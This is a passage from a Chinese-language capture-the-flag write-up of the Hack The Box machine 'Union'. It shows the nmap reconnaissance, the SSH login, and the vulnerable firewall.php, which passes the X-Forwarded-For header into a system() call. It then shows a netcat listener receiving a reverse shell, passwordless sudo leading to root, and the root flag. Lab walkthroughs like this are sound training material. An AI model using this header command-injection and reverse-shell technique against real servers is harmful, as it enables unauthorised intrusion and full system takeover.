关于 Union Union 是一台中等难度的 Linux 机器,其 Web 应用程序易受 SQL 注入攻击。机器上设有过滤器,可防止 SQLMap 转储数据库。用户需要手动编写 union 语句,以从数据库和网站源代码中提取信息。数据库包含一个标志,可用于对机器进行身份验证,在身份验证后,Web 服务器将运行 iptables 命令以启用端口 22。SSH 的凭据位于用于对 MySQL 进行身份验证的 PHP 配置文件中。进入机器后,用户可以检查 Web 应用程序的源代码,并通过设置 X-FORWARDED-FOR 标头来发现,他们可以对 Web 服务器用于将 IP 地址列入白名单的系统命令执行命令注入。
2、测试下靶机连通率
1 2 3 4 5 6 7 8 9 10 11
┌──(kali㉿offsec)-[~/Desktop] └─$ ping 10.10.11.128 -c 4 PING 10.10.11.128 (10.10.11.128) 56(84) bytes of data. 64 bytes from 10.10.11.128: icmp_seq=1 ttl=63 time=146 ms 64 bytes from 10.10.11.128: icmp_seq=2 ttl=63 time=102 ms 64 bytes from 10.10.11.128: icmp_seq=3 ttl=63 time=116 ms 64 bytes from 10.10.11.128: icmp_seq=4 ttl=63 time=116 ms
--- 10.10.11.128 ping statistics --- 4 packets transmitted, 4 received, 0% packet loss, time 3000ms rtt min/avg/max/mdev = 102.477/119.972/145.730/15.840 ms
┌──(kali㉿offsec)-[~/Desktop] └─$ sudo nmap -p- -Pn --min-rate=10000 -oG allports 10.10.11.128 [sudo] kali 的密码: Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-13 09:33 CST Nmap scan reportfor 10.10.11.128 Host is up (0.50s latency). Not shown: 65534 filtered tcp ports (no-response) PORT STATE SERVICE 80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 17.14 seconds
PORT STATE SERVICE VERSION 80/tcp open http nginx 1.18.0 (Ubuntu) |_http-title: Site doesn't have a title (text/html; charset=UTF-8). |_http-server-header: nginx/1.18.0 (Ubuntu) | http-cookie-flags: | /: | PHPSESSID: |_ httponly flag not set Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 12.97 seconds
┌──(kali㉿offsec)-[~/Desktop] └─$ ssh uhc@10.10.11.128 The authenticity of host '10.10.11.128 (10.10.11.128)' can't be established. ED25519 key fingerprint is SHA256:hE6H4DrsHebfs+gclhz9SL77tMpy8aKR3vp8Y0NRDvY. This host key is known by the following other names/addresses: ~/.ssh/known_hosts:29: [hashed name] Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '10.10.11.128' (ED25519) to the list of known hosts. uhc@10.10.11.128's password: Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.4.0-77-generic x86_64)
uhc@union:~$ cd /var/www/html/ uhc@union:/var/www/html$ ls -la total 16 drwxr-xr-x 1 root root 94 Nov 8 2021 . drwxr-xr-x 1 root root 8 Jul 2 2021 .. -rw-r--r-- 1 htb htb 1203 Nov 5 2021 challenge.php -rw-r--r-- 1 htb htb 207 Nov 4 2021 config.php drwxr-xr-x 1 htb htb 34 Nov 4 2021 css -rw-r--r-- 1 htb htb 1028 Nov 5 2021 firewall.php -rw-r--r-- 1 htb htb 2093 Nov 4 2021 index.php uhc@union:/var/www/html$ cat firewall.php <?php require('config.php');
if (!($_SESSION['Authenticated'])) { echo"Access Denied"; exit; }
?> <linkhref="//maxcdn.bootstrapcdn.com/bootstrap/4.1.1/css/bootstrap.min.css"rel="stylesheet"id="bootstrap-css"> <scriptsrc="//maxcdn.bootstrapcdn.com/bootstrap/4.1.1/js/bootstrap.min.js"></script> <scriptsrc="//cdnjs.cloudflare.com/ajax/libs/jquery/3.2.1/jquery.min.js"></script> <!------ Include the above in your HEAD tag ---------->
<divclass="container"> <h1class="text-center m-5">Join the UHC - November Qualifiers</h1>
</div> <sectionclass="bg-dark text-center p-5 mt-4"> <divclass="container p-5"> <?php if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) { $ip = $_SERVER['HTTP_X_FORWARDED_FOR']; } else { $ip = $_SERVER['REMOTE_ADDR']; }; system("sudo /usr/sbin/iptables -A INPUT -s " . $ip . " -j ACCEPT"); ?> <h1class="text-white">Welcome Back!</h1> <h3class="text-white">Your IP Address has now been granted SSH Access.</h3> </div> </section> </div> uhc@union:/var/www/html$
┌─[us-vip-22]─[10.10.14.2]─[shiyan@htb-lnf0ywzdjr]─[~/Desktop] └──╼ [★]$ nc -lvnp 4444 listening on [any] 4444 ... connect to [10.10.14.2] from (UNKNOWN) [10.10.11.128] 49146 bash: cannot set terminal process group (718): Inappropriate ioctl for device bash: no job control in this shell www-data@union:~/html$ sudo -l sudo -l MatchingDefaults entries for www-data on union: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User www-data may run the following commands on union: (ALL : ALL) NOPASSWD:ALL www-data@union:~/html$
22、呢就获取下最终的flag信息吧
1 2 3 4 5 6 7 8 9 10
www-data@union:~/html$ sudo -i sudo -i id uid=0(root) gid=0(root) groups=0(root) cd /root ls root.txt snap cat root.txt 15f16a14142dfe8f004cfccdc32f8cdb